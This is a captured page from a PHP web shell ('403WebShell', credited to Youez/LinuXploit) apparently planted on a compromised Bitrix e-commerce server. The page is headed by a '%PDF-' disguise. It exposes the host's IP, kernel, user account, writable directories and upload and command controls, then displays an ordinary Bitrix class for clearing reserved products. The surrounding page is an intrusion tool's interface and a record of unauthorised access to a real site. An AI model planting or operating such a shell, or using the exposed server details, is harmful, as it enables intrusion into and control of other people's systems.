%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.219.45.88
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/helpers/reservedproductcleaner.php
<?
namespace Bitrix\Sale\Helpers;

use Bitrix\Main\Config\Option;
use Bitrix\Main\ORM;
use Bitrix\Main\Type\DateTime;
use Bitrix\Main\Update\Stepper;
use Bitrix\Sale;

class ReservedProductCleaner extends Stepper
{
	protected static $moduleId = "sale";

	public function execute(array &$result)
	{
		$className = get_class($this);
		$option = Option::get("sale", $className, 0);
		$result["steps"] = $option;

		$registry = Sale\Registry::getInstance(Sale\Registry::REGISTRY_TYPE_ORDER);
		/** @var Sale\Order $orderClass */
		$orderClass = $registry->getOrderClassName();

		$limit = 100;
		$result["steps"] = isset($result["steps"]) ? $result["steps"] : 0;
		$selectedRowsCount = 0;

		$days_ago = (int) Option::get("sale", "product_reserve_clear_period");

		if ($days_ago > 0)
		{
			global $USER;

			if (!is_object($USER))
				$USER = new \CUser;

			$date = new DateTime();
			$parameters = [
				'select' => array(
					"ORDER_ID" => "DELIVERY.ORDER.ID",
				),
				'filter' => [
					"<=DELIVERY.ORDER.DATE_INSERT" => $date->add('-'.$days_ago.' day'),
					'>RESERVED_QUANTITY' => 0,
					"=DELIVERY.DEDUCTED" => "N",
					"=DELIVERY.MARKED" => "N",
					"=DELIVERY.ALLOW_DELIVERY" => "N",
					"=DELIVERY.ORDER.PAYED" => "N",
					"=DELIVERY.ORDER.CANCELED" => "N",
				],
				'group' => ['ORDER_ID'],
				'count_total' => true,
				'limit' => $limit,
				'offset' => $result["steps"]
			];

			$res = Sale\ShipmentItem::getList($parameters);
			$selectedRowsCount = $res->getCount();
			while($data = $res->fetch())
			{
				/** @var Sale\Order $order */
				$order = $orderClass::load($data['ORDER_ID']);
				$orderSaved = false;
				$errors = array();

				try
				{
					/** @var Sale\ShipmentCollection $shipmentCollection */
					if ($shipmentCollection = $order->getShipmentCollection())
					{
						/** @var Sale\Shipment $shipment */
						foreach ($shipmentCollection as $shipment)
						{
							$r = $shipment->tryUnreserve();
							if (!$r->isSuccess())
							{
								Sale\EntityMarker::addMarker($order, $shipment, $r);
								if (!$shipment->isSystem())
								{
									$shipment->setField('MARKED', 'Y');
								}
							}
						}
					}

					$r = $order->save();
					if ($r->isSuccess())
					{
						$orderSaved = true;
					}
					else
					{
						$errors = $r->getErrorMessages();
					}
				}
				catch(\Exception $e)
				{
					$errors[] = $e->getMessage();
				}

				if (!$orderSaved)
				{
					if (!empty($errors))
					{
						$oldErrorText = $order->getField('REASON_MARKED');
						foreach($errors as $error)
						{
							$oldErrorText .= (strval($oldErrorText) != '' ? "\n" : ""). $error;
						}

						Sale\Internals\OrderTable::update($order->getId(), array(
							"MARKED" => "Y",
							"REASON_MARKED" => $oldErrorText
						));
					}
				}
			}

			// crutch for #120087
			if (!is_object($USER) || $USER->GetID() <= 0)
			{
				ORM\Entity::destroy(Sale\Internals\OrderTable::getEntity());
			}
		}

		if($selectedRowsCount < $limit)
		{
			Option::delete("sale", array("name" => $className));
			return false;
		}
		else
		{
			$result["steps"] = $result["steps"] + $selectedRowsCount;
			$option = $result["steps"];
			Option::set("sale", $className, $option);
			return true;
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit